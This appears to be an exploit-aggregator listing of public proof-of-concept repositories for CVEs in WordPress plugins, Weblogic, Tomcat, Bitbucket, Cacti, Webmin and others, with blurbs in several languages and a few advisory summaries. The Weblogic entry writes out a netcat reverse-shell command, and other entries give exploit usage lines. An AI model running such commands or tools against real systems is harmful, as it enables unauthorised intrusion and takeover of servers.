0-click-RCE-Exploit-for-CVE-2024-10924

CVE-2024-10924 / प्रमाणीकरण बायपास 2FA से RCE शोषण लेखक: Joshua Provoste https://x.com/JoshuaProvoste/status/1859061671852909055 यह रिपॉजिटरी CVE-2024-10924 के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट शोषण है, जो Really Simple Security WordPress प्लगइन में एक प्रमाणीकरण और 2FA बायपास कमजोरी है जिसका उपयोग रिमोट...

0-click-RCE-Exploit-for-CVE-2023-51409

CVE-2023-51409 / Exploit RCE 0-Click Autore: Joshua Provoste https://x.com/JoshuaProvoste/status/1858586463777989073 Questo repository contiene un exploit proof-of-concept per CVE-2023-51409, una vulnerabilità di caricamento file arbitrario non autenticato nel plugin WordPress AI Engine: ChatGPT...

Log4Shell-PoC

██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██╗ ██╗███████╗██╗ ██╗ ██║ ██╔═══██╗██╔════╝ ██║ ██║██╔════╝██║ ██║██╔════╝██║ ██║ ██║ ██║ ██║██║ ███╗███████║███████╗███████║█████╗ ██║ ██║ ██║ ██║ ██║██║ ██║╚════██║╚════██║██╔══██║██╔══╝ ██║ ██║ ███████╗╚██████╔╝╚██████╔╝ ██║███████║██║...

Ruby-on-Rails-ActionPack-Inline-ERB-Remote-Code-Execution

Ruby-on-Rails-ActionPack-Inline-ERB-Remote-Code-Execution Script che sfrutta la vulnerabilità che consente l'esecuzione remota di codice in Ruby 2.3.8 con CVE-2016-2098 Uso ./RubyOnRailsActionPackInlineERB-RemoteCodeExecution.py -h --target-host TARGETHOST --port PORT --target-uri TARGETURI...

CVE-2019-0232

CVE-2019-0232 Descrição Esta é uma ferramenta que automatiza o fluxo de trabalho de exploração do CVE‑2019‑0232, oferecendo tanto o modo de execução de comandos quanto o modo de shell reverso. Ela suporta codificação automática de URLs para comandos, inicia um servidor HTTP temporário para hosped...

CVE-2022-36804-POC

CVE-2022-36804-POC 🕷️ Bitbucket CVE-2022-36804 esecuzione di comandi remoti non autenticata Sfruttamento Trova repository pubblicamente visibili - example.com/repos?visibility=public...

CVE-2020-8813-Cacti-RCE-in-graph_realtime

CVE-2020-8813 - RCE tramite graphrealtime.php in Cacti 1.2.8 Funzionalità RCE tramite graphrealtime.php in Cacti 1.2.8 Modalità live Esecuzione di un singolo comando Modalità verbose Descrizione...

CVE-2022-22947-Rce_POC

CVE-2022-22947-RcePOC Rilevamento batch di URL per Spring-Cloud-Gateway-CVE-2022-22947 Utilizzo py Spring-Cloud-Gateway.py UrlsPath Dopo l'esecuzione viene generato il file gateway.log, dove "+" indica presenza, "-" indica assenza, "" indica richiesta anomala...

CVE-2020-14645

CVE-2020-14645 Weblogic Server CVE-2020-14645 EXP für Python in einem Schritt vollständig Verwendung: Python3 exploit.py -t -c Tipps: Kein Echo Beispiel： nc -lvnp 4444 Python3 exploit.py -t 192.168.0.14 -c 'nc 192.168.0.15 4444' dann erhältst du eine Shell...

CVE-2019-5010

CVE-2019-5010 Autore: Jonathan M. Wilbur Anno di copyright: 2019 Licenza: MIT License Come usare 1. Installa tutte le dipendenze eseguendo npm install. 2. Compila il progetto usando npm run build. 3. Esegui node ./dist/index.js per creare il certificato malevolo in ./dist/cve-2019-5010-cert.pem. ...

CVE-2026-42007

CVE-2026-42007 affects Dovecot mail server. An attacker with valid credentials can trigger a use-after-free in the mail editing code by submitting a Sieve script using the editheader extension . This leads to memory leak and potential memory corruption during mail delivery, which can crash the de...

EUVD-2026-67672

An attacker that has valid credentials can use a Sieve script with the editheader extension to trigger a use-after-free in the mail editing code, and to write memory contents beyond the intended buffer into the delivered mail. This causes memory leak and opportunity to do memory corruption during...

SOC-L1-OSINT-Investigation-MikroTik-CVE-2018-1156

SOC L1 Threat Investigation: MikroTik RouterOS Multiple Exposed Services Analista: Jonatan Alexander Guerrero Gomez | Ruolo Obiettivo: SOC L1 / Analista di Cybersecurity Junior Stato: Indagine Chiusa | Severità: Alta Executive Summary Esercizio proattivo di threat hunting che identifica un...

EUVD-2026-67663

An attacker that has valid credentials can submit a Sieve script containing an extreme numeric literal, which causes an out-of-bounds write when the ManageSieve service compiles the script. This causes memory corruption and an observed crash of the ManageSieve process, resulting in denial of...

CVE-2017-8759

Toolkit per exploit per CVE-2017-8759 Non fare lo stronzo Semplice strumento scritto in C per gestire la vulnerabilità RCE in .NET Framework 2.0, 3.5, 3.5.1, 4.5.2, 4.6, 4.6.1, 4.6.2 e 4.7. noto anche come "Vulnerabilità di esecuzione remota di codice in .NET Framework." Aiuto root@kitploit:...

CVE-2023-0315

CVE-2023-0315 L'exploit ufficiale per l'esecuzione di codice remoto in Froxlor CVE-2023-0315...

CVE-2022-35914

Script in Ruby per la CVE-2022-35914 - RCE in GLPI CVE-2022-35914 Aggiungi semplicemente il Target allo Script. Utilizzo: root@kitploit: ruby.exe exploit.rb = whoami Puoi chiudere con: root@kitploit: = exit...

obridge

OBridge OBridge bietet einen einfachen Java-Quellcodegenerator zum Aufrufen von Oracle PL/SQL-Package-Prozeduren. Unterstützte Eingabe-, Ausgabeparameter und Rückgabewerte sind: BINARYINTEGER BOOLEAN CHAR CLOB BLOB DATE NCHAR NUMBER NVARCHAR2 OBJECT - Oracle Object Type PLSINTEGER TABLE - Table o...

SSCMS-PluginShell

Installare VisualStudio 2. Importare il progetto 3. Modificare il valore IPAddress.Parse nel file Startup.cs root@kitploit: using Microsoft.Extensions.DependencyInjection; using SSCMS.Advertisement.Abstractions; using SSCMS.Advertisement.Core; using SSCMS.Plugins; using System.Diagnostics; using...

CVE-2012-2982

CVE-2012-2982 John Hammond | 4 settembre 2021 Controllando searchsploit per Webmin 1.580 ho visto solo un modulo Metasploit per l'attacco di esecuzione remota di codice su /file/show.cgi in quella versione legacy di Webmin. Questo codice è un tentativo di ricrearlo in Python senza usare Metasploi...